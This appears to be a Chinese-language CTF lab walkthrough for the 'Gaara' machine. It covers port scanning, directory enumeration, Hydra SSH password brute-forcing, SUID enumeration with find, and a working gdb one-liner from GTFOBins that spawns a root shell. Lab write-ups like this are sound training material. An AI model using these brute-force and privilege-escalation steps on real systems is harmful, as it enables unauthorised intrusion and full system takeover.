主机ip:192.168.52.142
nmap扫描
22端口和80端口开着
22为ssh端口,用于SSH远程链接,攻击方向为爆破,SSH隧道及内网转发 文件存储
80为web服务端口,一般进行Web攻击,爆破,对应服务器版本漏洞
web 敏感目录扫描
使用 curl命令看能否访问ip地址
语法:# curl [option] [url]
1.
执行curl 192.168.52.142
执行后,192.168.52.142 的html就会显示在屏幕上了
使用dirbuster扫描敏感目录
当然也可以用在线网站Webscan或者其他软件扫描
看看有没有敏感目录文件(自带的字典在/usr/share/dirbuster/wordlists下)
没有收获
SSH暴力破解
网站没有敏感目录,接下来只有ssh端口可以利用,从web网站得到的唯一信息就是gaara这个名字,猜测此名称为SSH登录时的用户名
接下来尝试使用字典进行爆破
使用kali里的hydra,加上kali自带的字典比如/usr/share/wordlists/metasploit/unix_passwords.txt
跑出密码登录ssh
root@kali:/home/kali# ssh gaara@192.168.52.142
gaara@192.168.52.142's password:
···
gaara@Gaara:~$ id
uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
输入命令后可以看到以下文件具有SUID权限
在GTFOBins可以查看哪些能提权,哪些能维持权限
经过搜索发现gdb可以提权
执行/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit看看
成功获取root权限
# whoami
root
最后获取flag